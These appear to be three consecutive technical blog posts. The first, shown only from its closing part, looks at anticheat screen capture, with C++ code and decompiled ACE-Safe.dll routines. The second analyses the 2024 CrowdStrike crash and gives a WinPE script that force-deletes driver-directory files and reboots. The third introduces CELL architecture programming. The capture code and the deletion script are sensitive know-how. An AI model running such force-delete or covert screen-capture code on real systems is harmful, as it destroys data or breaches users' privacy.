The main functionality of continuously capturing screenshots is managed by the capture_gamers function, which runs in an infinite loop on a separate thread. This function checks if the user has pressed the F1 key to toggle between capturing the specified window (if any) and capturing the entire screen. The function increments a counter to generate unique file names for each screenshot and calls capture_screenshot to perform the capture and saving process. The loop includes a delay (using Sleep(1000)) to capture screenshots at one-second intervals.

void capture_gamers() {
    HWND backup_hwnd = main_window;

    for (auto n = 0;; n++) {
        if (GetAsyncKeyState(VK_F1) & 0x1) {
            if (main_window)
                main_window = nullptr;
            else
                main_window = backup_hwnd;
        }

        std::wstring filename = L"ss_" + std::to_wstring(n) + L".png";
        capture_screenshot(filename, main_window);
        Sleep(1000);
    }
}

The main entry point of the application, WinMain, sets up and registers a window class and creates a window. It then shows and updates the window, and starts the screenshot capture thread by creating a new thread running the capture_gamers function. The application enters a message loop to handle messages sent to the window, ensuring it remains responsive.

int WINAPI WinMain(HINSTANCE instance, HINSTANCE prev_instance, LPSTR cmd_line, int cmd_show) {
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc = window_proc;
    wcex.cbClsExtra = 0;
    wcex.cbWndExtra = 0;
    wcex.hInstance = instance;
    wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground = HBRUSH(COLOR_WINDOW + 1);
    wcex.lpszMenuName = NULL;
    wcex.lpszClassName = L"OhNoScreenshots";
    wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
    RegisterClassEx(&wcex);

    main_window = CreateWindowEx(
        0,
        L"OhNoScreenshots",
        L"FairFight Never Did This! /s",
        WS_POPUP | WS_VISIBLE,
        0, 0,
        GetSystemMetrics(SM_CXSCREEN),
        GetSystemMetrics(SM_CYSCREEN),
        nullptr, nullptr,
        instance, nullptr);

    ShowWindow(main_window, cmd_show);
    UpdateWindow(main_window);

    CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(capture_gamers), nullptr, 0, nullptr);

    MSG msg;
    while (GetMessage(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return int(msg.wParam);
}

If the game window is valid (i.e., the hwnd is not null), the application captures only the active window, which is typically the game window. This ensures the anti-cheat mechanism monitors only the game environment. If the user switches away from the game using Alt+Tab, the capture window becomes inactive, and the application stops capturing to avoid recording irrelevant content. If the hwnd is null, the application captures the entire screen, which is not a normal behavior under typical operations but serves as a fallback to ensure continuous monitoring even if the specific window handle becomes invalid.

But there are some other anticheats that use other more aggressive methods, such as @koyzdev's finding about how ACE (Anti Cheat Expert) works. ACE itself is used in the game Arena Breakout : Infinite made by Morefun Studio which is a direct subsidiary of Tencent Games.

The particular issue comes from ACE's user-mode component, ACE-Safe.dll, for its screenshot-taking capabilities. The function in ACE-Safe.dll begins by checking the Windows version with the line.

if (GetVersion() >= 0x80000000 || (result = check_window_station(), result <= 0))

This code determines if the operating system is Windows NT, 2000, or XP. If the current system does not meet these criteria, it checks the Window Station name. If the Window Station name does not contain "Service-0x", the function proceeds. This is a preliminary check to ensure compatibility and execution context. Next, the function creates a device context for the primary display.

hdcSrc = CreateDCW(L"DISPLAY", 0, 0, 0);
CompatDC = CreateCompatibleDC(hdcSrc);

CreateDCW creates a device context handle for the display, while CreateCompatibleDC creates a compatible memory device context. These device contexts are essential for capturing the screen content. Interestingly, the function lacks thorough error checking, which might lead to unexpected behavior in certain scenarios. The function then retrieves the display's horizontal and vertical resolutions.

HorizontalRes = GetDeviceCaps(hdcSrc, HORZRES);
VerticalRes = GetDeviceCaps(hdcSrc, VERTRES);

These values are used to determine the dimensions of the screenshot. Subsequently, a compatible bitmap is created with these dimensions, although the height is fixed at 16 pixels. The use of a height of 16 pixels is unusual and indicates that the screenshot will be captured in segments rather than as a whole.

CompatibleBitmap = CreateCompatibleBitmap(hdcSrc, HorizontalRes, 16);
v8 = VerticalRes - 16;
for (y1 = 0; y1 < v8; y1 += 16)

Here, v8 is the vertical resolution minus 16, and a loop iterates over the screen height in 16-pixel increments. This method is reminiscent of old CRT raster scanning, capturing the entire screen width but only 16 pixels in height per iteration. This segmentation could potentially be used for low FPS streaming as well.

The actual screenshot capture occurs with the BitBlt function. BitBlt transfers pixel data from the source device context to the compatible memory device context, capturing a 16-pixel high segment of the screen.

BitBlt(CompatDC, 0, 0, HorizontalRes, 16, hdcSrc, 0, y1, 0xCC0020);
GetBitmapBits(CompatibleBitmap, v6, v7);

GetBitmapBits then retrieves the bitmap's bits, storing them in v7. This raw pixel data is processed further, although the exact processing steps involve obfuscated functions likely related to OpenSSL for encryption, as hinted by the sub-functions like sub_180002D80. After capturing and processing the screenshot, the function cleans up the resources.

v11 = SelectObject(CompatDC, v5);
DeleteObject(v11);
DeleteDC(CompatDC);
return DeleteDC(DCW);

The cleanup ensures that device contexts and objects are properly released, preventing resource leaks.

All of this suggests that ACE has the capability to capture and potentially transmit comprehensive screenshots, including sensitive information unrelated to the game. This functionality could be triggered under specific conditions, such as when cheating is detected or reported, which is way more aggressive than what Vanguard does.

Conclusions

This is definitely a non-exhaustive list of techniques being used, i have definitely glossed over alot of other protection methods like Vanguard's guarded memory regions which are too complex for a simple subsection to explain. But this should provide you guys with a generic overview on how most of these systems work.

To be fully honest, even though i do not trust Riot Games (partly owned by Tencent, a Chinese entity) or MiHoYo (owned by MiHoYo, a Chinese entity) if they were to do something such as stealing personal user information it would've probably already been found out by now due to the amount of people trying to crack apart mhyprot and Vanguard. The same applies to other cheat systems like BattlEye, EAC, VAC, etc.

Are the fear for kernel level anticheats overblown? Perhaps, but one must consider that from all of the techniques we discussed above, kernel-level anticheats have the capability to :

• Have nearly limitless access to your device and data, including connected devices and data in-memory

• Conduct aggressive integrity checks can lead to false positives, causing legitimate processes to crash or behave unpredictably

• Harms attempts to play games in alternative platforms such as in Linux through Proton/Wine

• Interfere with the operation of legitimate security software that relies on accessing certain core Windows systems, potentially reducing the effectiveness of these tools

Anticheats also get away with hooking things that usually will trigger EDR alerts, which give some interesting EDR bypass capabilities.

For me personally, these are not tradeoffs that i'm willing to give in order to play games on the internet. I've also blacklisted common anticheat processes and binaries in major EDR platforms.

But i've never been fond of competitive or gacha games anyways, with me usually enjoying more singleplayer-oriented games. However, the tolerance and preferences of other people might be different, and i do think kernel-level anticheats are important to ensure fair play inside competitive games that even have professional leagues with million dollar prize pools or have accounts that can sell up to six figures.

This article was only meant as introducing people to the concept of kernel-level anticheats, which are sometimes surrounded with mystery due to their sensitive nature and the heavy amount of obfuscation that developers put into these systems. Most of you guys probably already made up your mind about this issue, and if you haven't i hope this article helped you form an informed opinion.

Cover Illustration by ireneparamithaa

DISCLAIMER : This research was done using software obtained by myself individually, analyzed using hardware owned by myself individually. Some code may be simplified and edited to provide clarity or to maintain confidentiality.

On Friday, July 19th 2024, a faulty update pushed by Crowdstrike to its Falcon EDR caused machines globally to bluescreen and also to be stuck in an infinite bootloop. This has caused havoc globally, with Microsoft saying that globally around 8.5 million endpoints are affected globally.

So instead of relaxing like a normal person on a weekend, i decided to take a look (because i wanted twitter clout). One of the questions is what caused the BSOD and bootloop situation, and why did removing a .sys file help with the situation?

This article would not be possible without :

• Patrick Wardle which provided the kernel driver for Crowdstrike and the offending channel files

• Tavis Ormand for initial analysis

• Aliz Hammond and Kyle Avery for final checking and editing because i wrote this half asleep

Analysis

Checking the Crash Logs and Official Workaround

DISCLAIMER : Some screenshots and crash logs were edited for confidentiality purposes

Checking the crash logs for the csagent.sys driver revealed some interesting clues.

EXCEPTION_RECORD: fffffb0d18d3ec28 -- (.exr 0xfffffb0d18d3ec28)
ExceptionAddress: fffff80d21df335a1 (csagent+0x0000000000035a1)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
    Parameter[0]: 0000000000000000
    Parameter[1]: 000000000000009c
Attempt to read from address 000000000000009c

CONTEXT: fffffb0d18d3e460 -- (.cxr 0xfffffb0d18d3e460)
rax=ffffffb0d18d43f0 rbx=0000000000000240 rcx=0000000000000234
rdx=ffffffb0d18d5430 rsi=ffffff9a815b7835 rdi=ffffff9a815b7925
rip=ffff80d21df335a1 rsp=ffffffb0d18d3ef40 rbp=ffffffb0d18d3f50
 r8=000000000000009c  r9=ffffffb0d18d3e75 r10=ffffffb0d18d4f2c
r11=ffffffb0d18d4124 r12=ffffffb0d18d4128 r13=ffffffb0d18d41d0
r14=0000000000000030 r15=0000000000000120
iopl=0         nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b             efl=00050206
csagent+0x35a1:
fffff80d21df335a1 458b08          mov     r9d,dword ptr [r8] ds:002b:00000000`0000009c=???????? 

Resetting default scope

An examination of the context record reveals the state of the CPU registers at the time of the exception. The instruction pointer (RIP) was at fffff80d21df335a1, and it attempted to execute the instruction mov r9d, dword ptr [r8]. This instruction tried to move data from the memory address pointed to by r8 into the r9d register. However, the address in r8 was 000000000000009c, which is invalid and resulted in the access violation.

Crowdstrike's official workaround post also provided some interesting clues.

The instructions advised users to boot into safe mode and locating a file called C-00000291*.sys in the Crowdstrike's driver directory and deleting it, which is interesting. This is where Crowdstrike's kernel-mode drivers are stored, which we have talked in length about the risks of kernel mode drivers, both in EDRs and in anticheat programs. But in the folder itself there are tons of .sys files, which begs the question why does Crowdstrike need so many kernel-mode drivers?

A later technical writeup published by Crowdstrike detailed how these files, despite their .sys extensions, these files are actually whats called Channel Files which contains behavioral detection signatures for the EDR platform.

Checking the Channel Files and Kernel Driver

The aforementioned technical writeup stated that the problematic Channel File (C-00000291-* with a .sys extension) controlled how Crowdstrike evaluates named pipes in Windows, which at the time was being updated to account for a new named pipe technique being leveraged by common C2 frameworks. However, the post didn't get into much detail into what it was actually trying to detect.

However, the timing highly coincided with the release of Cobaltstrike's new Aggressor Function, which can send arbitrary data to a custom post-exploitation job via a named pipe, providing significant flexibility in how post-ex tasks are executed.

This function empowers operators to send specific data strings to custom post-explotiation jobs, which can be used to build dynamic and context-specific execution of post-ex tasks, such as adaptive data exfiltration or automated response triggers. The general consesus is that C-00000291-00000000-00000032.sys is the offending channel file for this issue.

There was an early tweet with this screenshot that says this file is full of zeroes, which would've implied that Crowdstrike pushed a signature file filled with null values. But as far as im concerned this is definitely not the case for the many samples i've gathered so far. The files do appear to be obfuscated, probably to stop competitors reading their channel files and figuring out their heuristic detection models.

Inside Crowdstrike's driver we can read further how the driver interacts with the channel files.

The searches for a filename using the format string C-%08u-%08u-%08u.sys and then loads this into rdx. Its not possible to know for sure what logic error happened inside the channel file that caused the condition due to the file being obfuscated, but probably an invalid signature data triggered a fault in the kernel-mode driver.

The driver tried to access the 0x14 pointer in a buffer (mov r8, [rax+r11*8]). It sets up rax as the base address and calculates the offset. It seems like the code included checks to ensure that r8 is not null before attempting to read from it. test r8, r8 checks if r8 is non-zero, and if r8 is not zero, it jumps to loc_1400E14F4.

The problem lies where the initial null check only ensures that r8 is not zero, but it doesn't verify whether r8 points to a valid and accessible memory address. Because of this, the address passes and continues on to the next instruction.

The instruction movzx r9d, word ptr [r8] reads a word value from the address pointed to by r8, an invalid address in r8 would cause a crash when this read is attempted.

Why the bootloop?

But usually even third-party kernel mode drivers are loaded, they usually are loaded after the system has completed the boot process. But it seems that the crashes affect machines before even they get into the OS, so whats actually happening?

As part of the Microsoft Virus Initiative (MVI), Crowdstrike has special privileges through Windows's Early Launch Anti-Malware (ELAM) feature. ELAM allows security vendors to build kernel-mode drivers that loads early during bootup and before third-party drivers initialize. This can enable detection of malicious third-party kernel mode drivers and rootkits.

When the driver reads the new channel files, it caused an invalid memory access which caused a bluescreen. Then subsequently during the device restart, the driver reloads the channel file and causes another BSOD during boot which puts the system into Recovery Mode and causing the bootloop.

There are strict requirements to build ELAM drivers, which requires a vendor to have their drivers to pass certain requirements from Microsoft through testing and certification. But since these channel files weren't considered part of the driver, they didn't need to be signed of by Microsoft.

Solution

EDIT : Microsoft has released a dedicated tool for this exact purpose, check out here

There isn't a magic bullet solution to this really, since the driver loads before other third-party drivers like MDMs, its not like you can push out a GPO policy or a command via an MDM to remove these drivers. Likely you'd have to go to the machines one by one physically and boot into safemode to delete the faulty channel files manually.

You can use something like the Windows Preinstallation Environment (WinPE) to significantly speed-up the procedure, which makes this much easier to do at scale. This will create a bootable USB using the created WinPE media with a script will automatically run, delete the problematic CrowdStrike files, and reboot the system.

Prerequisites

1. Windows Assessment and Deployment Kit (ADK) for Windows 10 or later

2. Windows PE add-on for the ADK

3. Administrative privileges on a Windows 10 or later system

Steps

1. Install Windows ADK and Windows PE add-on Download and install both from the Microsoft website.

2. Create a working copy of Windows PE files Open Command Prompt as Administrator and run:

    copype amd64 C:\WinPE_amd64
   

3. Mount the Windows PE image

    Dism /Mount-Image /ImageFile:"C:\WinPE_amd64\media\sources\boot.wim" /Index:1 /MountDir:"C:\WinPE_amd64\mount"
   

4. Create a startup script Create a file named startnet.cmd in C:\WinPE_amd64\mount\Windows\System32 with the following content:

    wpeinit
    powershell -Command "Remove-Item -Path '$env:SystemDrive\Windows\System32\drivers\CrowdStrike\C-00000291*.sys' -Force"
    shutdown /f /r /t 0
   

5. Modify the Windows PE configuration Edit C:\WinPE_amd64\mount\Windows\System32\winpeshl.ini:

    [LaunchApps]
    %SYSTEMROOT%\System32\startnet.cmd
   

6. Add PowerShell support to WinPE

    Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-PowerShell.cab"
   

7. Unmount and commit changes

    Dism /Unmount-Image /MountDir:"C:\WinPE_amd64\mount" /Commit
   

8. Create bootable media

    MakeWinPEMedia /UFD C:\WinPE_amd64 E:
   

   *Replace E: with your USB drive letter

For devices with BitLocker, there are some workarounds to retrieve the BitLocker key using various methods.

Conclusion

Who is to blame? Probably Crowdstrike.

But building kernel drivers are hard, and they are harder to QA test for. This isn't to excuse Crowdstrike, who basically made a kernel driver that loads hotpatches from userland. Because of the nature ELAM certification proces and lapses in QA practices at Crowdstrike, this possibly passed alot of eyes and was deployed haphazardly to production.

I've talked previously in my post about EndpointSecurity in MacOS about how building kernel mode drivers has tremendous risks to security and OS stability. While in recent days there have been more discussions surrounding EndpointSecurity, how it might be too restrictive, i still maintain that this is a good solution to avoid these types of disasters.

Many argue that creating usermode telemetry pipelines creates a single point of failure, but this is currently no different to the approaches used by vendors today like kernel callbacks and ETW-TI.

Microsoft tried to introduced security boundaries like this with the introduction of Kernel Patch Protection (KPP), but was met with stiff opposition from cybersecurity vendors. The European Commission also targeted Microsoft with an antitrust investigation due to its inclusion of KPP.

To quote :

"The second Vista security area causing the EC concern was PatchGuard, or kernel patch protection, the code that prevents access to the Vista kernel. Security vendors McAfee and Symantec were incensed they were banned from the kernel. The EC wanted Microsoft to disable this feature but Microsoft refused."

The issue was purely because when PatchGuard was introduced, Microsoft didn't really provide a userland telemetry equivalent for security vendors. I think the goal shouldn't be to remove all third-party code from the kernel, but atleast to give more usermode telemetry so these types of operations are not as necessary as before.

Are people gonna move out of Crowdstrike for this? Probably. Management types, especially non-technical ones, are inpatient and think they can buy themselves out of any problem. They think EDRs are magic black boxes that can stop breaches, but many forget that Crowdstrike is market leading not because their software has some secret sauce (they don't, all EDRs are basically the same product skinned with a different UI) but the human capital behind it from its reasearch and managed defense teams.

But alas, one can dream.

Cover Illustration by hi__dan

In a recent trip from Japan, i came to score a rare PS3 reference tool (DECR-1000J) which was sold below market rates. As these things are apparently very rare and are not regionlocked unlike the retail models, i took the chance to buy it in order to serve as a learning platform. But unfortunately i lost the unit during a home invasion incident while i was out of the country during the weekend, alongside several valuables and my work laptop. I'm not exactly sure what they were planning to do with a rackmountable PS3, but alas i was not destined to play around with it for long.

I've always see the architecture of the PS3, the CELL Broadband Engine, as some sort of mythical creature. After looking online for tutorials on how to install Linux on it, i got to work on figuring out what i can possibly use this for, or what can i write about it that hasn't been endlessly written before. Thats when i got the idea to remark a math library to the CELL SPU, utilizing its SIMD and ILP features to speed up the process.

Funnily enough, recently a startup called Flow Computing that has some graphs (and names) suspiciously similar to how the CELL BE architecture work. The startup claims that their new "CPU 2.0" architecture is able to accelerate CPU workloads up to 100x, which is (sorta) believable knowing that they're not some scrappy shady startup but a spinout of VTT Technical Research Center from Finland.

This article (probably closer to an academic paper at this point) would not be possible without :

• Francesco Mazzoli on speeding atan2f by 50x through AVX-512 instructions which serves as the initial inspiration for this article

• Mike Acton from B3D@CellPerformance for the sequential implementation of atan2 in the CELL SPU (archive link)

• IBM's CELL Broadband Engine Resource Center (archive link), specifically the following docs

  • Cell Broadband Engine Programmer's Guide

  • Cell Broadband Engine Programming Tutorial

  • Cell Broadband Engine Programming Handbook

  • SIMD Math Library Specification for Cell Broadband Engine Architecture

  • C/C++ Language Extensions for Cell Broadband Engine Architecture

• The Best Programming Practice for Cell/BE (self archive link) by Akira Tsukamoto (Sony CELL BE team)

• This doujinshi from Japan which contains the most detailed account of programming with CELL SPE cores, its in Japanese and fully absurd

• That one guy from University of Indonesia (UI) Computer Science Faculty (Fasilkom) that said i'm not a programmer because i cannot do leetcode algorithms

Background

The Cell processor, developed by Sony, Toshiba, and IBM as part of the STI alliance, was an ambitious and highly unconventional processor design that promised extraordinary computational power. Introduced in the PlayStation 3 in 2006, the Cell architecture aimed to leverage the parallel processing capabilities of multiple specialized co-processors.

To understand why the CELL architecture is so weird, you need to understand that during the early 2000s the traditional approach of enhancing performance by increasing clock frequencies were reaching its limits. Intel's Pentium architecture could not evolve further, and its promised successor was nowhere to be found. Similarly, IBM's PowerPC G5 processors failed to deliver on the promised 3 GHz clock speed. People were calling this the end of Moore's law.

While there were alot of ideas thrown around on how to fundamentally rework computing architectures to better scale performance, many thought that reworking the architecture from a monolithic processing design into a split-workload design where multiple smaller machines collaborate to distribute the compute task can work. This is similar to how we do cloud workloads today with microservices.

The CELL's general-purpose "leader" core, known as the PowerPC Processing Element (PPE), was responsible for directing the overall operation of the CELL circuitry. It acted as the central processing unit, managing the workload and delegating tasks to the "assistant" cores.

The CELL architecture has been classified as a Network-on-Chip (NoC) rather than a traditional System-on-Chip (SoC) due to its unconventional data bus design, known as the Element Interconnect Bus (EIB). The EIB is a novel interconnect topology devised by IBM to address the performance bottlenecks and congestion issues faced by demanding CPU components in previous architectures.

Unlike traditional single bus topologies, the token ring topology employed by the EIB aims to tackle large amounts of concurrent traffic. Data is transferred in the form of 128-bit packets, and each ring can accommodate up to three concurrent transfers, provided that the packets do not overlap.

In addition to the EIB for networking different parts of the CELL architecture, the system incorporates several high-performance interfaces responsible for data movement and communication. These interfaces include:

• Broadband Engine Interface Unit (BEI): Responsible for facilitating communication between the CELL and external devices or systems.

• Memory Interface Controller (MIC): Manages access to the main memory, with preferential priority on the EIB.

• Flex I/O buses: Provide additional I/O capabilities for the CELL architecture.

PowerPC Processing Unit (PPU)

The PPE, or Power Processing Element, is the general-purpose "leader" core of the CELL architecture. Unlike previous iterations where IBM adapted existing processors to meet new requirements, the PPE is a new CPU design specifically crafted for the CELL architecture. However, it is based on the PowerPC instruction set architecture (ISA) version 2.02, which was the last PowerPC specification before being rebranded as the Power ISA. The PPE shares a lineage with the PowerPC G5, as both are descendants of the POWER4 architecture, which was primarily used in workstations and supercomputers.

IBM's decision to leverage PowerPC technology for the PPE was driven by several factors. First, PowerPC was a mature platform with approximately 10 years of testing and refinement in the Macintosh user base, meeting Sony's requirements for the CELL architecture. Additionally, the PowerPC architecture could be adapted to different environments if needed. Crucially, the use of a well-known and established architecture provided compatibility with existing compilers and codebases, offering a significant advantage for a new console.

The PPE implements the PowerPC ISA version 2.02, including optional opcodes for floating-point square root operations . It has also been extended with a SIMD (Single Instruction, Multiple Data) instruction set called the Vector/SIMD Multimedia Extension (VMX). Notably, some elements from the original PowerPC specification are missing in the PPE, such as little-endian mode (the CELL operates only in big-endian mode) and a handful of opcodes.

It's important to highlight that while the PPE leverages existing PowerPC technology, IBM constructed the PPE from the ground up, following the PowerPC 2.02 specification, rather than simply adapting an existing processor. This approach allowed IBM to optimize the PPE's design for the CELL's unique multi-core architecture and performance requirements, and also build interaction capabilities with the SPU.

Synergistic Processing Unit (SPU)

The Synergistic Processor Unit (SPU) is programmed utilizing an instruction set architecture. While both the SPU and the PowerPC Processing Unit (PPU) adhere to the Reduced Instruction Set Computer (RISC), the SPU's ISA is proprietary and primarily composed of a Single Instruction Multiple Data (SIMD) instruction set. Consequently, the SPU features 128 128-bit general-purpose registers, which accommodate vectors comprising 32/16-bit fixed-point or floating-point values. Conversely, to conserve memory, SPU instructions are markedly compact, merely 32 bits in length. The initial segment contains the opcode, while the remaining portion can reference up to three operands to be computed in parallel.

This architecture bears resemblance to the preceding Vector Floating Point Unit introduced in the PlayStation 2, albeit with substantial enhancements. For instance, developers are no longer required to learn a proprietary assembly language specific to the SPU, as IBM and Sony provided toolkits facilitating programming of the SPUs using C++, C, or assembly.

The SPEs are somewhat general-purpose coprocessors, not restricted to a single application, allowing them to assist the PPE in a wide range of tasks, provided that developers can program them properly. But the SPEs are more intended as the "assistant" cores of the CELL architecture, working in collaboration with the "leader" PPE to provide accelerated vector processing capabilities. By leveraging the SPEs' specialized design and local memory, the CELL architecture aims to offload computationally intensive tasks from the PPE, potentially achieving significant performance gains in applications that can take advantage of parallel processing and vector operations.

The core the SPE is the Synergistic Processor Unit (SPU), equivalent to the PPU in the PPE. But unlike the PPU, the SPU is isolated from the rest of the CELL architecture and does not have shared memory with the PPU or other SPUs. Instead, the SPU contains something called Local Memory (LS) used as a working space. However, the contents of this local memory can be moved back and forth using the Memory Flow Controller (MFC). In terms of functionality, the SPU is more limited compared to the PPU. It does not include memory management functions (address translation and memory protection) or advanced features like dynamic branch prediction. However, the SPU excels at vector processing operations. To program the SPU, developers use the PPU to invoke routines provided by the PlayStation 3's Operating System. These routines upload the executable specifically written for the SPU to the target SPU and signal it to start execution. After that, the PPU maintains a reference to the SPU's thread for synchronization purposes.

The Memory Flow Controller (MFC) is the component that interconnects the SPU with the rest of the CELL architecture, acting as an interface similar to the PowerPC Processor Storage Subsystem (PPSS) in the PPE. The primary function of the MFC is to move data between the SPU's local memory and the CELL's main memory, and to keep the SPU synchronized with its neighboring components. To perform its duties, the MFC embeds a Direct Memory Access (DMA) controller to handle communication between the Element Interconnect Bus (EIB) and the SPU's local memory. Additionally, the MFC houses another component called the Synergistic Bus Interface (SBI) that sits between the EIB and the DMA controller. The SBI is a complex piece of circuitry that interprets commands and data received from outside and signals the internal units of the SPE. As the front door to the CELL architecture, the SBI operates in two modes: bus master (where the SPE is adapted to request data from outside) or bus slave (where the SPE is set to receive orders from outside). It's worth noting that, considering the limit of EIB packets (up to 128-bit long), the MFC's DMA block can only move up to 16 KB of data per cycle. If the data transfer exceeds this limit, the EIB will throw a "Bus Error" exception during execution.

Programing for the CELL Architecture

As the CELL architecture is radically different from regular PC architectures, it has been known to be very hard to program for (by design). Despite this, IBM p roposed some ideas on how programmers can build applications in the CELL architecture.

PPE-centric Approaches

These approaches place the primary computational responsibilities on the PPE, treating the SPEs as co-processors or accelerators to offload specific tasks or workloads. There are three main patterns within this category:

1. Multistage Pipeline Model:

   • The PPE acts as the driver, sending work to a single SPE.

   • Each SPE performs its assigned computations and passes the results to the next SPE in a pipeline fashion. The final SPE in the chain sends the processed data back to the PPE.

   • This model is not recommended for primary tasks due to the high inter-SPE communication overhead and complexity in managing the pipeline.

2. Parallel Stages Model:

   • The PPE decomposes the main task into independent sub-tasks.

   • Each sub-task is assigned to a different SPE for parallel execution. SPEs return their processed results to the PPE upon completion.

   • The PPE combines the results from all SPEs to produce the final output.

   • This approach can be effective for heavily parallelized workloads with minimal data dependencies.

3. Services Model:

   • Each SPE is assigned a specific service or job (e.g., audio decoding, video encoding, physics calculations). Service assignments to SPEs can be dynamically adjusted based on the program's changing requirements.

   • The PPE acts as a job dispatcher, sending input data to the appropriate SPE based on the required service. While awaiting results, the PPE can perform other tasks or manage system resources.

   • This model is suitable for applications with distinct, well-defined tasks that can be offloaded to dedicated SPEs.

SPE-centric Approaches

In contrast to the PPE-centric models, SPE-centric approaches place a greater emphasis on the SPEs as the primary computational engines, with the PPE playing a supporting role in resource management and coordination.

• Using their internal Direct Memory Access (DMA) units, SPEs directly fetch and execute tasks stored in main memory.

• The PPE is responsible for initially setting up these tasks in memory and allocating them to the appropriate SPEs. Once the SPEs begin executing their assigned tasks, the PPE's involvement is minimized, allowing the SPEs to operate with a high degree of autonomy.

• This approach can potentially unlock higher levels of parallelism and efficiency, as the SPEs are not constrained by frequent communication with the PPE.

• However, it also introduces challenges in terms of data partitioning, synchronization, resource management, fault tolerance, and portability to other architectures.

Hybrid Approaches

In practice, many applications may benefit from a hybrid approach that combines elements of both PPE-centric and SPE-centric models. For example:

• The PPE could handle high-level task management and coordinate the overall workflow. While computationally intensive or parallelizable workloads could be offloaded to the SPEs using an SPE-centric model.

• The PPE could also perform pre-processing or post-processing tasks on the data before or after the SPE computations.

• Communication and data transfer between the PPE and SPEs could be minimized by strategically partitioning the workload and leveraging DMA transfers.

The choice of programming style depends on various factors, including the nature of the application, performance requirements, data dependencies, and the development team's familiarity with the Cell BE architecture and programming models.

While the heterogeneous multi-core architecture of the Cell BE offered significant computational power, programming it effectively presented several challenges that developers had to overcome:

1. Code Partitioning and Load Balancing:

   • Determining the optimal partitioning of code and data between the PPE and SPEs was crucial for maximizing performance.

   • Load balancing the workload across the SPEs to avoid bottlenecks and ensure efficient utilization of resources was a complex task.

   • Developers had to carefully analyze data dependencies, communication patterns, and computational requirements to make informed partitioning decisions.

2. Memory Management and Data Transfers:

   • Each SPE had a limited local store (256 KB) for instructions and data, necessitating careful memory management. Data transfers between main memory and SPE local stores had to be orchestrated efficiently using DMA transfers to minimize stalls and bottlenecks.

   • Techniques like double-buffering and software caching were often employed to overlap computation with data transfers.

3. SIMD Vectorization:

   • The SPEs featured a SIMD instruction set, enabling parallel operations on vectors of data. To fully leverage the SIMD capabilities, developers had to vectorize their code, which involved restructuring algorithms and data layouts to expose parallelism.

   • Compiler auto-vectorization support was limited, often requiring manual vectorization efforts by developers.

4. Branch Prediction and Control Flow:

   • The SPEs lacked dynamic branch prediction hardware, making control-intensive code with unpredictable branches less efficient.

   • Developers had to employ techniques like software pipelining, predication, and branch hint instructions to mitigate the impact of branch mispredictions.

5. Synchronization and Communication:

   • Coordinating the execution and communication between the PPE and multiple SPEs required careful synchronization mechanisms to avoid race conditions and ensure data coherency.

   • Efficient inter-core communication protocols and messaging schemes had to be implemented, often leveraging mailboxes, signal notifiers, and DMA transfers.

6. Debugging and Profiling:

   • Debugging and profiling parallel applications on the heterogeneous Cell BE architecture posed challenges due to the distributed nature of execution and limited visibility into the SPEs.

   • Specialized debugging and profiling tools were developed by IBM, Sony, and third-party vendors to aid developers in identifying performance bottlenecks and optimizing their applications.

Which gives us alot of challenges to work with, but some very interesting opportunities to leverage coding styles and trickery with C that many might be unfamiliar when working with typical x86 binaries.

Understanding the Mathematics

The atan2 function, which computes the angle between the positive x-axis and a vector (x, y) in the Cartesian plane, is a fundamental operation in various scientific and engineering applications, such as computer graphics, robotics, and signal processing.

Mathematically, the arctangent function is expressed as:

$$atan(x) = θ, tan(θ) = x$$

The range of the arctangent function is typically [-π/2, π/2] radians, or [-90°, 90°] degrees. However, in many applications, it is desirable to have the full range of [-π, π] radians, or [-180°, 180°] degrees. This is achieved by considering the signs of both the input x and y values, leading to the atan2(y, x) function, which is a variation of the arctangent function.

The atan2(y, x) function computes the angle (in radians) between the positive x-axis and the vector (x, y) in the Cartesian plane. It is defined as:

$$atan2(y, x) = arctan(y/x)$$

The first step in computing atan2 is to reduce the input arguments (x, y) to a specific range using well-known trigonometric identities. This process, known as argument reduction, simplifies the subsequent computation by limiting the input domain to a narrow interval. For atan2, the following identities are commonly used:

• atan2(-y, x) = -atan2(y, x)

• atan2(y, -x) = π - atan2(y, x)

• atan2(y, x) = π/2 - atan2(x, y) for |y| > |x|

Once the input arguments have been reduced, the core computation involves evaluating the atan(y/x) function on the reduced range. A common approach is to use a minimax polynomial approximation, which provides an accurate approximation of the function over a narrow interval.

Minimax polynomial approximation is a technique used in numerical analysis to find a polynomial 𝑃(𝑥) of a given degree 𝑛n that closely approximates a function 𝑓(𝑥) over a specified interval [𝑎,𝑏]. The primary objective of this method is to minimize the maximum absolute deviation between the polynomial approximation and the function across the interval. This is quantified as:

$$\max_{x \in [a, b]} |f(x) - P(x)|$$

Where the left-hand side represents the peak absolute error. The polynomial 𝑃(𝑥)P(x) is chosen to minimize this maximum error, hence the term "minimax". The polynomial approximation can be expressed as:

$$P(x) = c_0 + c_1 (x - x_0) + c_2 (x - x_0)^2 + \ldots + c_n (x - x_0)^n$$

Here, 𝑥0​ typically represents a central point within the interval [𝑎,𝑏], often the midpoint, which can be strategically chosen to reduce computational complexity or improve the symmetry of the error distribution. The constants 𝑐0,𝑐1,…,𝑐𝑛 are the coefficients of the polynomial, determined so as to achieve the minimax objective.

The Remez exchange algorithm is a popular method used to compute these coefficients. It iteratively adjusts the coefficients and the set of points at which the maximum error occurs, seeking to equalize the error at these points and minimize its peak value. This algorithm is particularly well-suited for finding minimax solutions due to its efficiency in handling the non-linear nature of the problem.

The evaluation of the minimax polynomial approximation is a critical component of the overall atan2 implementation. Two common techniques for efficient polynomial evaluation are Horner's scheme and Estrin's scheme.

Horner's scheme is a numerically stable algorithm for polynomial evaluation that minimizes the number of multiplications. Given a polynomial of degree 𝑛:

